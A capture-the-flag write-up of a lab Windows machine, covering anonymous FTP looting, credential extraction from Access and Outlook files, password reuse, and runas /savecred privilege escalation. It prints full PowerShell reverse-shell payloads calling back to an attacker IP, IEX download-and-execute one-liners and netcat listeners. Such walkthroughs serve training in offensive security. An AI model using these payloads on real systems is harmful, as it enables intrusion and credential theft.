IP Address: 10.129.198.185
Key Exploitation Techniques:
- Anonymous FTP misconfiguration leading to information disclosure
- Credential extraction from Microsoft Access databases (.mdb)
- Password reuse across services and encrypted archives
- Extracting credentials from Outlook PST files
- Abusing Windows stored credentials with
runas /savecred
Enumeration#
$ nmap -p 21,23,80 -sC -sV 10.129.198.185
...
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
80/tcp open http
FTP Enumeration#
We connected to the FTP service and explored the directories, finding two notable files.
$ ftp 10.129.198.185
Name: anonymous
Password: [press enter]
ftp> ls
# ...
<DIR> Backups
<DIR> Engineer
# ...
ftp> cd Backups
ftp> get backup.mdb
# ...
ftp> cd ../Engineer
ftp> get "Access Control.zip"
# ...
Files retrieved:
backup.mdb- Microsoft Access databaseAccess Control.zip- Password-protected archive
Credential Harvesting#
Extracting Data from backup.mdb#
Microsoft Access databases can be read using the mdbtools package. Let’s list the tables:
$ mdb-tables backup.mdb
... auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions ...
The auth_user table looks promising:
$ mdb-export backup.mdb auth_user
"admin","admin",
"engineer","access4u@security",
"backup_admin","admin",
Credentials extracted:
admin:adminengineer:access4u@securitybackup_admin:admin
Extracting Access Control.zip#
The ZIP file is password-protected. Let’s try the password we just found:
$ 7z x "Access Control.zip" -paccess4u@security
The archive extracted a file named Access Control.pst. This is an Outlook data file, which can contain emails, contacts, and calendar items.
Reading Access Control.pst#
PST (Personal Storage Table) files contain Outlook emails, contacts, and calendar data. We’ll use readpst to extract the contents:
$ readpst -tea -m "Access Control.pst"
Opening PST file and indexes...
Processing Folder "Deleted Items"
"Access Control" - 2 items done, 0 items skipped.
This created a directory with extracted emails:
$ cat 2.eml
Status: RO
From: john@megacorp.com <john@megacorp.com>
Subject: MegaCorp Access Control System "security" account
To: 'security@accesscontrolsystems.com'
...
Hi there,
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.
Regards,
John
Password: 4Cc3ssC0ntr0ller
Exploitation#
Initial Access#
With the credentials from the email, we can now access the Telnet service:
$ telnet 10.129.198.185
login: security
password: 4Cc3ssC0ntr0ller
*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>whoami
access\security
We have shell access as the security user.
Retrieving user.txt#
C:\Users\security>type Desktop\user.txt
<redacted>
Telnet is limited and unstable. Let’s upgrade to a PowerShell reverse shell for better control.
Create payload.ps1 on attacker machine.
$LHOST = "10.10.16.22"; $LPORT = 4444; if ($LHOST -match ':') { $addressFamily = [System.Net.Sockets.AddressFamily]::InterNetworkV6; $client = New-Object System.Net.Sockets.TCPClient($addressFamily); } else { $client = New-Object System.Net.Sockets.TCPClient; }; $client.Connect($LHOST, $LPORT); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush()};$client.Close();
Start web server to host the payload:
$ python3 -m http.server 80
Start netcat listener:
$ rlwrap -cAr nc -lvnp 4444
Execute payload from Telnet session:
powershell "IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.22/payload.ps1'))"
Reverse shell received:
Connection received on 10.129.198.185 49158
whoami
access\security
PS C:\Users\security>
Privilege Escalation#
Enumerating Store Credentials#
Windows can store credentials for applications using the Credential Manager. Let’s check:
C:\Users\security>cmdkey /list
Currently stored credentials:
Target: Domain:interactive=ACCESS\Administrator
Type: Domain Password
User: ACCESS\Administrator
The Administrator credentials are stored! This means we can use runas /savecred to execute commands as Administrator without knowing the password.
Finding the Source of Stored Credentials#
Let’s search for shortcuts (.lnk files) that might use runas /savecred:
PS C:\Users\security> Get-ChildItem "C:\" -Filter *.lnk -Recurse -Force -ErrorAction SilentlyContinue | Select-Object FullName
FullName
--------
C:\Users\Public\Desktop\ZKAccess3.5 Security System.lnk
Let’s examine this shortcut:
PS C:\Users\security> Get-Content "C:\Users\Public\Desktop\ZKAccess3.5 Security System.lnk" | Select-String "runas"
runas.exe /user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"
This confirms that the ZKAccess application uses stored Administrator credentials.
Exploiting runas /savecred#
Since the Administrator password is saved, we can execute ANY command as Administrator, not just the intended application.
Create admin_payload.ps1 (same as before, different port):
$LHOST = "10.10.16.22"
$LPORT = 8888
if ($LHOST -match ':') {
$addressFamily = [System.Net.Sockets.AddressFamily]::InterNetworkV6
$client = New-Object System.Net.Sockets.TCPClient($addressFamily)
} else {
$client = New-Object System.Net.Sockets.TCPClient
}
$client.Connect($LHOST, $LPORT)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
Start second listener:
$ rlwrap -cAr nc -lvnp 8888
Listening on 0.0.0.0 8888
Execute privilege escalation:
PS C:\Users\security> runas /user:ACCESS\Administrator /savecred "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.22/admin_payload.ps1')"
Administrator shell received:
Connection received on 10.129.198.185 49162
whoami
access\administrator
PS C:\Windows\system32>
Retrieving root.txt#
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
<redacted>